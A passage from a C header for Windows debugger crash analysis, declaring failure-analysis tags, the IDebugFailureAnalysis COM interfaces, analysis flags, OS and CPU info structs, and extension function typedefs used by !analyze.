DEBUG_FLR_XML_ATTRIBUTE_VALUE,\n\tDEBUG_FLR_XML_ATTRIBUTE_D1VALUE,\n\tDEBUG_FLR_XML_ATTRIBUTE_D2VALUE,\n\tDEBUG_FLR_XML_ATTRIBUTE_DOVALUE,\n DEBUG_FLR_XML_ATTRIBUTE_VALUE_TYPE,\n DEBUG_FLR_XML_ATTRIBUTE_FRAME_NUMBER,\n DEBUG_FLR_XML_ATTRIBUTE_THREAD_INDEX, \n DEBUG_FLR_XML_PROBLEMCLASS_LIST,\n DEBUG_FLR_XML_PROBLEMCLASS,\n DEBUG_FLR_XML_PROBLEMCLASS_NAME,\n DEBUG_FLR_XML_PROBLEMCLASS_VALUE,\n DEBUG_FLR_XML_PROBLEMCLASS_VALUE_TYPE,\n DEBUG_FLR_XML_PROBLEMCLASS_FRAME_NUMBER,\n DEBUG_FLR_XML_PROBLEMCLASS_THREAD_INDEX, \n DEBUG_FLR_XML_STACK_FRAME_TRIAGE_STATUS, \n \n \n // cabbed text data / structured data\n DEBUG_FLR_REGISTRY_DATA = 0x300000,\n DEBUG_FLR_WMI_QUERY_DATA = 0x301000,\n DEBUG_FLR_USER_GLOBAL_ATTRIBUTES = 0x302000,\n DEBUG_FLR_USER_THREAD_ATTRIBUTES = 0x303000,\n DEBUG_FLR_USER_PROBLEM_CLASSES = 0x304000,\n\n#ifdef AUTOBUG_PROCESSING_SUPPORT\n // tabs to support autobug cab processing\n DEBUG_FLR_AUTOBUG_EXCEPTION_CODE_STR = 0x101000, // This is the string representation of the exception code (ie. c0000005)\n DEBUG_FLR_AUTOBUG_BUCKET_ID_PREFIX_STR, // This is the prefix part of BUCKET_ID. Everything before the start of the module name\n DEBUG_FLR_AUTOBUG_BUCKET_ID_MODULE_STR, // This is module, without the .dll/exe/tmp, etc. extension\n DEBUG_FLR_AUTOBUG_BUCKET_ID_MODVER_STR, // This is version of the aforementioned module, 0.0.0.0 if none.\n DEBUG_FLR_AUTOBUG_BUCKET_ID_FUNCTION_STR,// This is same as Sym from Watson. If missing 'unknown'.\n DEBUG_FLR_AUTOBUG_BUCKET_ID_OFFSET, // The offset portion SYMBOL_NAME\n DEBUG_FLR_AUTOBUG_OSBUILD, // This is the OS build number.\n DEBUG_FLR_AUTOBUG_OSSERVICEPACK, // This is the trailing part of the oca tag BUILD.\n DEBUG_FLR_AUTOBUG_BUILDLAB_STR, // Only the build lab part of BUILD_VERSION_STRING (like winmain_idx03)\n DEBUG_FLR_AUTOBUG_BUILDDATESTAMP_STR, // The time date stamp part of BUILD_VERSION_STRING (like 051214-1910)\n DEBUG_FLR_AUTOBUG_BUILDOSVER_STR, // The OS version parth of BUILD_VERSION_STRING (like 6.0.5270.9).\n DEBUG_FLR_AUTOBUG_BUCKET_ID_TIMEDATESTAMP,\n DEBUG_FLR_AUTOBUG_BUCKET_ID_CHECKSUM,\n DEBUG_FLR_AUTOBUG_BUILD_FLAVOR_STR,\n DEBUG_FLR_AUTOBUG_BUCKET_ID_FLAVOR_STR, // Is the failing module chk or fre\n DEBUG_FLR_AUTOBUG_OS_SKU,\n DEBUG_FLR_AUTOBUG_PRODUCT_TYPE,\n DEBUG_FLR_AUTOBUG_SUITE_MASK,\n DEBUG_FLR_AUTOBUG_USER_LCID,\n DEBUG_FLR_AUTOBUG_OS_REVISION, // OS revision\n DEBUG_FLR_AUTOBUG_OS_NAME, // OS Name\n DEBUG_FLR_AUTOBUG_OS_NAME_EDITION, // Complete OS Name along with edition\n DEBUG_FLR_AUTOBUG_OS_PLATFORM_TYPE, // OS type - x86 / x64 / ia64\n DEBUG_FLR_AUTOBUG_OSSERVICEPACK_NUMBER, // This is service pack number\n DEBUG_FLR_AUTOBUG_OS_LOCALE, // OS locale string such as en-us\n DEBUG_FLR_AUTOBUG_BUILDDATESTAMP, // The time date stamp value for kernel\n DEBUG_FLR_AUTOBUG_USER_LCID_STR,\n#endif\n\n\n // Culprit module\n DEBUG_FLR_FAULTING_IP = 0x80000000, // Instruction where failure occurred\n DEBUG_FLR_FAULTING_MODULE,\n DEBUG_FLR_IMAGE_TIMESTAMP,\n DEBUG_FLR_FOLLOWUP_IP,\n DEBUG_FLR_FRAME_ONE_INVALID,\n DEBUG_FLR_SYMBOL_FROM_RAW_STACK_ADDRESS,\n\n // custom analysis plugin tags\n DEBUG_FLR_CUSTOM_ANALYSIS_TAG_MIN = 0xA0000000,\n DEBUG_FLR_CUSTOM_ANALYSIS_TAG_MAX = 0xB0000000,\n\n // To get faulting stack\n DEBUG_FLR_FAULTING_THREAD = 0xc0000000,\n DEBUG_FLR_CONTEXT,\n DEBUG_FLR_TRAP_FRAME,\n DEBUG_FLR_TSS,\n DEBUG_FLR_BLOCKING_THREAD, // Thread which is blocking others to execute by holding locks/critsec\n DEBUG_FLR_UNRESPONSIVE_UI_THREAD,\n DEBUG_FLR_BLOCKED_THREAD0, // Threads blocked / waiting for some event / crit section\n DEBUG_FLR_BLOCKED_THREAD1,\n DEBUG_FLR_BLOCKED_THREAD2,\n DEBUG_FLR_BLOCKING_PROCESSID, // process id of processes which is blocking execution\n DEBUG_FLR_PROCESSOR_ID, // CPU where the fault is\n DEBUG_FLR_MASK_ALL = 0xFFFFFFFF\n\n} DEBUG_FLR_PARAM_TYPE;\n\ntypedef struct _DBG_THREAD_ATTRIBUTES\n{\n ULONG ThreadIndex;\n ULONG64 ProcessID;\n ULONG64 ThreadID;\n ULONG64 AttributeBits;\n\n/*\n bHas_StringData 0x0001\n bBlockedOnPID 0x0002\n bBlockedOnTID 0x0004\n bHas_CritSecAddress 0x0008\n bHas_timeout 0x0010\n m_szSymName[0] 0x0020\n*/\n ULONG BoolBits;\n ULONG64 BlockedOnPID;\n ULONG64 BlockedOnTID;\n ULONG64 CritSecAddress;\n ULONG Timeout_msec;\n char StringData[100];\n char SymName[100];\n} DBG_THREAD_ATTRIBUTES, *PDBG_THREAD_ATTRIBUTES;\n\n//----------------------------------------------------------------------------\n//\n// A failure analysis is a dynamic buffer of tagged blobs. Values\n// are accessed through the Get/Set methods.\n//\n// Entries are always fully aligned.\n//\n// Set methods throw E_OUTOFMEMORY exceptions when the data\n// buffer cannot be extended.\n//\n//----------------------------------------------------------------------------\n\ntypedef DEBUG_FLR_PARAM_TYPE FA_TAG;\n\n//\n// This is set in IDebugFAEntryTags Tag Type to determine\n// type of value contained in entry\n//\ntypedef enum _FA_ENTRY_TYPE\n{\n // Undefined entry, this may be used for\n // FA_TAGs whose values do not have any significance\n DEBUG_FA_ENTRY_NO_TYPE,\n // FA_ENTRY is of ULONG type\n DEBUG_FA_ENTRY_ULONG,\n // FA_ENTRY is of ULONG64 type\n DEBUG_FA_ENTRY_ULONG64,\n // FA_ENTRY is offset in instruction stream\n DEBUG_FA_ENTRY_INSTRUCTION_OFFSET,\n // FA_ENTRY is a (ULONG64 sign-extended) pointer value\n DEBUG_FA_ENTRY_POINTER,\n // FA_ENTRY is null terminated char array\n // DataSize is size of string including null terminator\n DEBUG_FA_ENTRY_ANSI_STRING,\n // FA_ENTRY is an array of strings, each of the string\n // is null terminated char array.\n // DataSize is sum size of all string including null terminator\n DEBUG_FA_ENTRY_ANSI_STRINGs,\n // FA_ENTRY is a link to an extension command. !analyze -v\n // would run the command when showing the entry value\n // The Entry contains extension command string.\n DEBUG_FA_ENTRY_EXTENSION_CMD,\n // FA_ENTRY is a link is structured analysis data\n // The Entry contains pointer to PDEBUG_FAILURE_ANALYSIS2 object.\n DEBUG_FA_ENTRY_STRUCTURED_DATA,\n // FA_ENTRY is null terminated unicode char array\n // DataSize is size of unicode string including null terminator\n DEBUG_FA_ENTRY_UNICODE_STRING,\n // Bit flag modifier for any of the basic type\n // (ULONG/POINTER/INSTRUCTION_OFFSET). FA_ENTRY is an\n // array of any basic type other than string. DataSize\n // member of the Entry can be used to determine array length.\n DEBUG_FA_ENTRY_ARRAY = 0x8000,\n} FA_ENTRY_TYPE;\n\n#undef INTERFACE\n#define INTERFACE IDebugFAEntryTags\nDECLARE_INTERFACE(IDebugFAEntryTags)\n{\n // Looksup Type associated for the failure tag\n STDMETHOD_(FA_ENTRY_TYPE, GetType)(\n THIS_\n __in FA_TAG Tag\n ) PURE;\n\n // Sets Type associated for the failure tag\n STDMETHOD(SetType)(\n THIS_\n __in FA_TAG Tag,\n __in FA_ENTRY_TYPE EntryType\n ) PURE;\n\n // Looksup description and name for the failure tag\n STDMETHOD(GetProperties)(\n THIS_\n __in FA_TAG Tag,\n __out_bcount_opt(NameSize) PSTR Name,\n __inout_opt PULONG NameSize,\n __out_bcount_opt(DescSize) PSTR Description,\n __inout_opt PULONG DescSize,\n __out_opt PULONG Flags\n ) PURE;\n\n // Sets description and name for the failure tag\n // If the given tag already had these defined, this will overwrite\n // previous definition(s)\n STDMETHOD(SetProperties)(\n THIS_\n __in FA_TAG Tag,\n __in_opt PCSTR Name,\n __in_opt PCSTR Description,\n __in_opt ULONG Flags\n ) PURE;\n\n // This looks up default analysis tag or plugin's registered tag\n // by its name\n STDMETHOD(GetTagByName)(\n THIS_\n __in PCSTR PluginId,\n __in PCSTR TagName,\n __out FA_TAG* Tag\n ) PURE;\n\n // This allows extensions to check if a given failure\n // tag value can be set. This would return true for all\n // tags that were allocated via AllocateTagRange or\n // the predefined tag values in this header file\n STDMETHOD_(BOOL, IsValidTagToSet)(\n THIS_\n __in FA_TAG Tag\n ) PURE;\n};\n\ntypedef struct _FA_ENTRY\n{\n FA_TAG Tag;\n USHORT FullSize;\n USHORT DataSize;\n} FA_ENTRY, *PFA_ENTRY;\n\n#define FA_ENTRY_DATA(Type, Entry) ((Type)((Entry) + 1))\n\n/* ed0de363-451f-4943-820c-62dccdfa7e6d */\nDEFINE_GUID(IID_IDebugFailureAnalysis, 0xed0de363, 0x451f, 0x4943,\n 0x82, 0x0c, 0x62, 0xdc, 0xcd, 0xfa, 0x7e, 0x6d);\n\ntypedef interface DECLSPEC_UUID(\"ed0de363-451f-4943-820c-62dccdfa7e6d\")\n IDebugFailureAnalysis* PDEBUG_FAILURE_ANALYSIS;\n\n#undef INTERFACE\n#define INTERFACE IDebugFailureAnalysis\nDECLARE_INTERFACE_(IDebugFailureAnalysis, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n IN REFIID InterfaceId,\n OUT PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugFailureAnalysis.\n STDMETHOD_(ULONG, GetFailureClass)(\n THIS\n ) PURE;\n STDMETHOD_(DEBUG_FAILURE_TYPE, GetFailureType)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, GetFailureCode)(\n THIS\n ) PURE;\n STDMETHOD_(PFA_ENTRY, Get)(\n THIS_\n FA_TAG Tag\n ) PURE;\n STDMETHOD_(PFA_ENTRY, GetNext)(\n THIS_\n PFA_ENTRY Entry,\n FA_TAG Tag,\n FA_TAG TagMask\n ) PURE;\n STDMETHOD_(PFA_ENTRY, GetString)(\n THIS_\n FA_TAG Tag,\n __out_bcount(MaxSize) PSTR Str,\n ULONG MaxSize\n ) PURE;\n STDMETHOD_(PFA_ENTRY, GetBuffer)(\n THIS_\n FA_TAG Tag,\n __out_bcount(Size) PVOID Buf,\n ULONG Size\n ) PURE;\n STDMETHOD_(PFA_ENTRY, GetUlong)(\n THIS_\n FA_TAG Tag,\n __out PULONG Value\n ) PURE;\n STDMETHOD_(PFA_ENTRY, GetUlong64)(\n THIS_\n FA_TAG Tag,\n __out PULONG64 Value\n ) PURE;\n STDMETHOD_(PFA_ENTRY, NextEntry)(\n THIS_\n __in_opt PFA_ENTRY Entry\n ) PURE;\n};\n\n/* ea15c288-8226-4b70-acf6-0be6b189e3ad */\nDEFINE_GUID(IID_IDebugFailureAnalysis2, 0xea15c288, 0x8226, 0x4b70,\n 0xac, 0xf6, 0x0b, 0xe6, 0xb1, 0x89, 0xe3, 0xad);\n\n\ntypedef interface DECLSPEC_UUID(\"ea15c288-8226-4b70-acf6-0be6b189e3ad\")\n IDebugFailureAnalysis2* PDEBUG_FAILURE_ANALYSIS2;\n\n//\n// Interface to query analysis data\n//\n#undef INTERFACE\n#define INTERFACE IDebugFailureAnalysis2\nDECLARE_INTERFACE_(IDebugFailureAnalysis2, IUnknown)\n{\n // IUnknown.\n STDMETHOD(QueryInterface)(\n THIS_\n IN REFIID InterfaceId,\n OUT PVOID* Interface\n ) PURE;\n STDMETHOD_(ULONG, AddRef)(\n THIS\n ) PURE;\n STDMETHOD_(ULONG, Release)(\n THIS\n ) PURE;\n\n // IDebugFailureAnalysis2.\n\n // Target class for the given failure\n STDMETHOD_(ULONG, GetFailureClass)(\n THIS\n ) PURE;\n // Type of failure being analyzed\n STDMETHOD_(DEBUG_FAILURE_TYPE, GetFailureType)(\n THIS\n ) PURE;\n // Failure code: Bugcheck code for kernel mode,\n // exception code for user mode\n STDMETHOD_(ULONG, GetFailureCode)(\n THIS\n ) PURE;\n // Lookup FA_ENTRY by tag\n // Returns NULL if tag is not found\n STDMETHOD_(PFA_ENTRY, Get)(\n THIS_\n __in FA_TAG Tag\n ) PURE;\n // Looks up next FA_ENTRY after the given 'Entry' by\n // matching with Tag & and TagMask\n // Returns NULL if tag is not found\n STDMETHOD_(PFA_ENTRY, GetNext)(\n THIS_\n __in PFA_ENTRY Entry,\n __in FA_TAG Tag,\n __in FA_TAG TagMask\n ) PURE;\n // Looksup FA_ENTRY by tag and copies its string value\n // Returns NULL if tag is not found\n STDMETHOD_(PFA_ENTRY, GetString)(\n THIS_\n __in FA_TAG Tag,\n __out_ecount(MaxSize) PSTR Str,\n __in ULONG MaxSize\n ) PURE;\n // Looksup FA_ENTRY by tag and copies its data value\n // Returns NULL if tag is not found\n STDMETHOD_(PFA_ENTRY, GetBuffer)(\n THIS_\n __in FA_TAG Tag,\n __out_bcount(Size) PVOID Buf,\n __in ULONG Size\n ) PURE;\n // Looksup FA_ENTRY by tag and copies its ULONG value\n // Returns NULL if tag is not found\n STDMETHOD_(PFA_ENTRY, GetUlong)(\n THIS_\n __in FA_TAG Tag,\n __out PULONG Value\n ) PURE;\n // Looksup FA_ENTRY by tag and copies its ULONG64 value\n // Returns NULL if tag is not found\n STDMETHOD_(PFA_ENTRY, GetUlong64)(\n THIS_\n __in FA_TAG Tag,\n __out PULONG64 Value\n ) PURE;\n // Looks up next FA_ENTRY after the given 'Entry'\n // Returns NULL if tag is not found\n STDMETHOD_(PFA_ENTRY, NextEntry)(\n THIS_\n __in_opt PFA_ENTRY Entry\n ) PURE;\n // Sets the given String for corresponding tag\n // It overwrites the value if tag is already\n // present.\n STDMETHOD_(PFA_ENTRY, SetString)(\n THIS_\n FA_TAG Tag,\n __nullterminated PCSTR Str\n ) PURE;\n // Sets the given extension command and its\n // argument for corresponding tag\n // It overwrites the value if tag is already\n // present.\n STDMETHOD_(PFA_ENTRY, SetExtensionCommand)(\n THIS_\n FA_TAG Tag,\n __nullterminated PCSTR Extension\n ) PURE;\n // Sets the given ULONG value for corresponding tag\n // It overwrites the value if tag is already\n // present.\n STDMETHOD_(PFA_ENTRY, SetUlong)(\n THIS_\n FA_TAG Tag,\n __in ULONG Value\n ) PURE;\n // Sets the given ULONG64 value for corresponding tag\n // It overwrites the value if tag is already\n // present.\n STDMETHOD_(PFA_ENTRY, SetUlong64)(\n THIS_\n FA_TAG Tag,\n __in ULONG64 Value\n ) PURE;\n // Sets the given Buffer value for corresponding tag\n // It overwrites the value if tag is already\n // present.\n STDMETHOD_(PFA_ENTRY, SetBuffer)(\n THIS_\n FA_TAG Tag,\n __in FA_ENTRY_TYPE EntryType,\n __in_bcount(Size) PVOID Buf,\n __in ULONG Size\n ) PURE;\n // Sets the given String for corresponding tag\n // It adds a new entry the value if tag is already\n // present.\n STDMETHOD_(PFA_ENTRY, AddString)(\n THIS_\n FA_TAG Tag,\n __nullterminated PSTR Str\n ) PURE;\n // Sets the given extension command and its\n // argument for corresponding tag in a new entry\n STDMETHOD_(PFA_ENTRY, AddExtensionCommand)(\n THIS_\n FA_TAG Tag,\n __nullterminated PSTR Extension\n ) PURE;\n // Sets the given ULONG value for corresponding tag\n // in a new entry\n STDMETHOD_(PFA_ENTRY, AddUlong)(\n THIS_\n FA_TAG Tag,\n __in ULONG Value\n ) PURE;\n // Sets the given ULONG64 value for corresponding tag\n // in a new entry\n STDMETHOD_(PFA_ENTRY, AddUlong64)(\n THIS_\n FA_TAG Tag,\n __in ULONG64 Value\n ) PURE;\n // Sets the given Buffer value for corresponding tag\n // in a new entry\n STDMETHOD_(PFA_ENTRY, AddBuffer)(\n THIS_\n FA_TAG Tag,\n __in FA_ENTRY_TYPE EntryType,\n __in_bcount(Size) PVOID Buf,\n __in ULONG Size\n ) PURE;\n // Get the interface to query and set meta-data about\n // failure analysis tags\n STDMETHOD(GetDebugFATagControl)(\n THIS_\n __out IDebugFAEntryTags** FATagControl\n ) PURE;\n // Generates and returns XML fragment from analysis data\n STDMETHOD(GetAnalysisXml)(\n THIS_\n// Do not force clients to unnecessarily include msxml, use IUnknown if its not included\n#ifdef __IXMLDOMElement_FWD_DEFINED__\n __out IXMLDOMElement** pAnalysisXml\n#else \n __out IUnknown** pAnalysisXml\n#endif\n ) PURE;\n};\n\n//\n// Analysis control flags\n//\n// Analyzer doesn't lookup database for information about failure\n#define FAILURE_ANALYSIS_NO_DB_LOOKUP 0x0001\n// Produces verbose analysis output\n#define FAILURE_ANALYSIS_VERBOSE 0x0002\n// Assumes target is hung when doing analysis\n#define FAILURE_ANALYSIS_ASSUME_HANG 0x0004\n// Ignores manual breakin state and continues forward with analysis\n#define FAILURE_ANALYSIS_IGNORE_BREAKIN 0x0008\n// Sets the analysis failure context after finishing up analysis\n#define FAILURE_ANALYSIS_SET_FAILURE_CONTEXT 0x0010\n// Analyze the exception as if it were a hang\n#define FAILURE_ANALYSIS_EXCEPTION_AS_HANG 0x0020\n// Support Autobug processing\n#define FAILURE_ANALYSIS_AUTOBUG_PROCESSING 0x0040\n// Produces xml analysis output\n#define FAILURE_ANALYSIS_XML_OUTPUT 0x0080\n// produces XML representations of callstacks\n#define FAILURE_ANALYSIS_CALLSTACK_XML 0x0100\n// Adds cabbed registry data to analysis tags\n#define FAILURE_ANALYSIS_REGISTRY_DATA 0x0200\n// Adds cabbed WMI query data to analysis tags\n#define FAILURE_ANALYSIS_WMI_QUERY_DATA 0x0400\n// Adds user analysis attribute list as analysis data\n#define FAILURE_ANALYSIS_USER_ATTRIBUTES 0x0800\n// produces XML listing of loaded and unloaded modules\n#define FAILURE_ANALYSIS_MODULE_INFO_XML 0x1000\n// skip image corruption analysis\n#define FAILURE_ANALYSIS_NO_IMAGE_CORRUPTION 0x2000\n// Automatically sets symbol and image path if no symbols are currently available\n#define FAILURE_ANALYSIS_AUTOSET_SYMPATH 0x4000\n// All Attributes to XML \n#define FAILURE_ANALYSIS_USER_ATTRIBUTES_ALL 0x8000\n//interlace stack frames with attributes for xml\n#define FAILURE_ANALYSIS_USER_ATTRIBUTES_FRAMES 0x10000\n// analyze multiple targets if available\n#define FAILURE_ANALYSIS_MULTI_TARGET 0x20000\n\n\n// GetFailureAnalysis Extension function, deprecarted\ntypedef HRESULT\n(WINAPI* EXT_GET_FAILURE_ANALYSIS)(\n IN PDEBUG_CLIENT4 Client,\n IN ULONG Flags,\n OUT PDEBUG_FAILURE_ANALYSIS* Analysis\n );\n\n//\n// Function signature for GetDebugFailureAnalysis extension-function\n// from ext.dll.\n// This analyzes failure state of current target and returns\n// analysis results in Analysis object\n//\ntypedef HRESULT\n(WINAPI* EXT_GET_DEBUG_FAILURE_ANALYSIS)(\n __in PDEBUG_CLIENT4 Client,\n __in ULONG Flags,\n __in CLSID pIIdFailureAnalysis, // must be IID_IDebugFailureAnalysis2\n __out PDEBUG_FAILURE_ANALYSIS2* Analysis\n );\n\n//\n// This determines the analysis phase during which a registered\n// analysis-plugin is invoked. The extensions can register their\n// plugin along with one or more of these flags to control the\n// time when the plugin gets called.\n//\ntypedef enum _FA_EXTENSION_PLUGIN_PHASE\n{\n // Extension plugin is invoked after the primary data such as\n // exception record (for user mode) / bugcheck code (for kernel\n // mode) is initialized\n FA_PLUGIN_INITILIZATION = 0x0001,\n // Extension plugin is invoked after the stack is analyzed and\n // the analysis has the information about faulting symbol and\n // module if it were available on stack\n FA_PLUGIN_STACK_ANALYSIS = 0x0002,\n // Extension plugin is invoked just before generating bucket.\n FA_PLUGIN_PRE_BUCKETING = 0x0004,\n // Extension plugin is invoked just after generating bucket.\n FA_PLUGIN_POST_BUCKETING = 0x0008,\n} FA_EXTENSION_PLUGIN_PHASE;\n\n//\n// Function signature for custom analyzer entry point in a\n// registered analysis-plugin dll.\n//\ntypedef HRESULT\n(WINAPI* EXT_ANALYSIS_PLUGIN)(\n __in PDEBUG_CLIENT4 Client,\n __in FA_EXTENSION_PLUGIN_PHASE CallPhase,\n __in PDEBUG_FAILURE_ANALYSIS2 pAnalysis\n );\n\ntypedef HRESULT\n(WINAPI* EXT_GET_FA_ENTRIES_DATA)(\n IN PDEBUG_CLIENT4 Client,\n IN PULONG Count,\n OUT PFA_ENTRY* Entries\n );\n\n//\n// Typedef for extension function GetManagedObjectName in sos.dll\n//\ntypedef HRESULT\n(WINAPI* EXT_GET_MANAGED_OBJECTNAME)(\n PDEBUG_CLIENT Client,\n ULONG64 objAddr,\n PSTR szName,\n ULONG cbName\n );\n\n//\n// Typedef for extension function GetManagedObjectFieldInfo in sos.dll\n//\ntypedef HRESULT\n(WINAPI* EXT_GET_MANAGED_OBJECT_FIELDINFO)(\n PDEBUG_CLIENT Client,\n ULONG64 objAddr,\n PSTR szFieldName,\n PULONG64 pValue,\n PULONG pOffset\n );\n\n//\n// Typedef for extension function GetManagedExcepStack in sos.dll\n//\ntypedef HRESULT\n(WINAPI* EXT_GET_MANAGED_EXCEPSTACK)(\n PDEBUG_CLIENT Client,\n ULONG64 StackObjAddr,\n PSTR szStackString,\n ULONG cbString\n );\n\n//\n// Typedef for extension function StackTrace in sos.dll\n//\ntypedef HRESULT\n(WINAPI* EXT_GET_MANAGED_STACKTRACE)(\n PDEBUG_CLIENT Client,\n WCHAR wszTextOut[],\n size_t *puiTextLength,\n LPVOID pTransitionContexts,\n size_t *puiTransitionContextCount,\n size_t uiSizeOfContext,\n ULONG Flags);\n\n\n/*****************************************************************************\n Target info\n *****************************************************************************/\ntypedef enum _OS_TYPE {\n WIN_95,\n WIN_98,\n WIN_ME,\n WIN_NT4,\n WIN_NT5,\n WIN_NT5_1,\n WIN_NT5_2, \n WIN_NT6_0, \n WIN_NT6_1, \n NUM_WIN,\n} OS_TYPE;\n\n\n//\n// Info about OS installed\n//\ntypedef struct _OS_INFO {\n ULONG MajorVer; // Os major version\n ULONG MinorVer; // Os minor version\n ULONG Build; // Os build number\n ULONG BuildQfe; // Os build QFE number\n ULONG ProductType; // NT, LanMan or Server\n ULONG Suite; // OS flavour - per, SmallBuisness etc.\n ULONG Revision;\n struct {\n ULONG Checked:1; // If its a checked build\n ULONG Pae:1; // True for Pae systems\n ULONG MultiProc:1; // True for multiproc enabled OS\n ULONG Reserved:29;\n } s;\n ULONG SrvPackNumber; // Service pack number of OS\n ULONG ServicePackBuild; // Service pack build\n ULONG Architecture; // Architecture name such as x86, ia64 or x64\n CHAR Name[64]; // Short name of OS\n CHAR FullName[256]; // Full name of OS includeing SP, Suite, product\n CHAR Language[30]; // OS language\n CHAR BuildVersion[64]; // Build version string\n CHAR ServicePackString[64]; // Service pack string\n} OS_INFO, *POS_INFO;\n\ntypedef struct _CPU_INFO {\n ULONG Type; // Processor type as in IMAGE_FILE_MACHINE types\n ULONG NumCPUs; // Actual number of Processors\n ULONG CurrentProc; // Current processor\n DEBUG_PROCESSOR_IDENTIFICATION_ALL ProcInfo[CROSS_PLATFORM_MAXIMUM_PROCESSORS];\n ULONG Mhz; // Processor speed (from currentproc.prcb)\n} CPU_INFO, *PCPU_INFO;\n\n#define MAX_STACK_IN_BYTES 4096\n\ntypedef struct _TARGET_DEBUG_INFO {\n ULONG SizeOfStruct;\n ULONG64 EntryDate; // Date created\n ULONG DebugeeClass;// Kernel / User mode\n ULONG64 SysUpTime; // System Up time\n ULONG64 AppUpTime; // Application up time\n ULONG64 CrashTime; // Time system / app crashed\n OS_INFO OsInfo; // OS details\n CPU_INFO Cpu; // Processor details\n CHAR DumpFile[MAX_PATH]; // Dump file name if its a dump\n} TARGET_DEBUG_INFO, *PTARGET_DEBUG_INFO;\n\n// GetTargetInfo\ntypedef HRESULT\n(WINAPI* EXT_TARGET_INFO)(\n PDEBUG_CLIENT4 Client,\n PTARGET_DEBUG_INFO pTargetInfo\n );\n\n\ntypedef struct _DEBUG_DECODE_ERROR {\n ULONG SizeOfStruct; // Must be == sizeof(DEBUG_DECODE_ERROR)\n ULONG Code; // Error code to be decoded\n BOOL TreatAsStatus; // True if code is to be treated as Status\n CHAR Source[64]; // Source from where we got decoded message\n CHAR Message[MAX_PATH]; // Message string for error code\n} DEBUG_DECODE_ERROR, *PDEBUG_DECODE_ERROR;\n\n/*\n Decodes and prints the given error code - DecodeError\n*/\ntypedef VOID\n(WINAPI *EXT_DECODE_ERROR)(\n PDEBUG_DECODE_ERROR pDecodeError\n );\n\n//\n// ext.dll: GetTriageFollowupFromSymbol\n//\n// This returns owner info from a given symbol name\n//\ntypedef struct _DEBUG_TRIAGE_FOLLOWUP_INFO {\n ULONG SizeOfStruct; // Must be == sizeof (DEBUG_TRIAGE_FOLLOWUP_INFO)\n ULONG OwnerNameSize; // Size of allocated buffer\n PCHAR OwnerName; // Followup owner name returned in this\n // Caller should initialize the name buffer\n} DEBUG_TRIAGE_FOLLOWUP_INFO, *PDEBUG_TRIAGE_FOLLOWUP_INFO;\n\n#define TRIAGE_FOLLOWUP_FAIL 0\n#define TRIAGE_FOLLOWUP_IGNORE 1\n#define TRIAGE_FOLLOWUP_DEFAULT 2\n#define TRIAGE_FOLLOWUP_SUCCESS 3\n\ntypedef DWORD\n(WINAPI *EXT_TRIAGE_FOLLOWUP)(\n IN PDEBUG_CLIENT4 Client,\n IN PSTR SymbolName,\n OUT PDEBUG_TRIAGE_FOLLOWUP_INFO OwnerInfo\n );\n\n//\n// Struct to receive data from syzdata.XML file cabbed along with the dump\n//\ntypedef struct _EXT_CAB_XML_DATA {\n ULONG SizeOfStruct; // Must be == sizeof(_EXT_CAB_XML_DATA)\n PCWSTR XmlObjectTag; // Look for text under this tag\n ULONG NumSubTags; // Number of subtags\n struct _SUBTAGS {\n PCWSTR SubTag; // Look for text under this sub-tag of XmlObjectTag\n PCWSTR MatchPattern; // Match the text with MatchPattern according to MatchType\n PWSTR ReturnText; // Return the matched text in ReturnText, multiple\n // matches are returned in multistring\n ULONG ReturnTextSize; // Size of ReturnText in bytes\n ULONG MatchType:3; // 0: Prefix match, 2: In-text match 1: Suffix match\n ULONG Reserved:29;\n ULONG Reserved2;\n } SubTags[1];\n} EXT_CAB_XML_DATA, *PEXT_CAB_XML_DATA;\n\ntypedef HRESULT\n(WINAPI *EXT_XML_DATA)(\n PDEBUG_CLIENT4 Client,\n PEXT_CAB_XML_DATA pXmpData\n );\n\n//\n// Extension function type definition for dlls which want to export analyzer\n// function to be used by !analyze to gather component specific data\n//\n\n#define EXT_ANALYZER_FLAG_MOD 0x00000001\n#define EXT_ANALYZER_FLAG_ID 0x00000002\n\ntypedef HRESULT\n(WINAPI *EXT_ANALYZER)(\n __in_opt PDEBUG_CLIENT Client,\n __out_bcount(cbBucketSuffix) PSTR BucketSuffix, // The additional suffix analyzer wants to\n // be added to !analyze BUGCKET_ID to better distinguish this bucket\n __in ULONG cbBucketSuffix, // byte count of BucketSuffix buffer supplied\n __out_bcount(cbDebugText) PSTR DebugText, // The debugging text (optional) which !analyze\n // should print out to help people debugging this failure\n __in ULONG cbDebugText, // byte count of DebugText buffer supplied\n __in PULONG Flags, // Flags that contorl the bucketing\n __in PDEBUG_FAILURE_ANALYSIS pAnalysis // Data for current analysis\n );\n\n//\n// Data queried about processor, returned as part of analysis tag DEBUG_FLR_PROCESSOR_INFO\n//\ntypedef struct _DEBUG_ANALYSIS_PROCESSOR_INFO {\n ULONG SizeOfStruct; // must be == sizeof(DEBUG_ANALYSIS_PROCESSOR_INFO)\n ULONG Model;\n ULONG Family;\n ULONG Stepping;\n ULONG Architecture;\n ULONG Revision;\n ULONG CurrentClockSpeed;\n ULONG CurrentVoltage;\n ULONG MaxClockSpeed;\n ULONG ProcessorType;\n CHAR DeviceID[32];\n CHAR Manufacturer[64];\n CHAR Name[64];\n CHAR Version[64];\n CHAR Description[64];\n} DEBUG_ANALYSIS_PROCESSOR_INFO, *PDEBUG_ANALYSIS_PROCESSOR_INFO;\n\n\n// Queried target build binary dir, the build dir string is returned in pData\n// pQueryInfo must be null\n#define EXTDLL_DATA_QUERY_BUILD_BINDIR 1\n#define EXTDLL_DATA_QUERY_BUILD_SYMDIR 2\n#define EXTDLL_DATA_QUERY_BUILD_WOW64SYMDIR 3\n#define EXTDLL_DATA_QUERY_BUILD_WOW64BINDIR 4\n\n#define EXTDLL_DATA_QUERY_BUILD_BINDIR_SYMSRV 11\n#define EXTDLL_DATA_QUERY_BUILD_SYMDIR_SYMSRV 12\n#define EXTDLL_DATA_QUERY_BUILD_WOW64SYMDIR_SYMSRV 13\n#define EXTDLL_DATA_QUERY_BUILD_WOW64BINDIR_SYMSRV 14\n\n//\n// Extension function ExtDllQueryDataByTag exported by ext.dll to query\n// various data values. The alowd tags values are defined above\n//\ntypedef HRESULT\n(WINAPI *EXTDLL_QUERYDATABYTAG)(\n __in 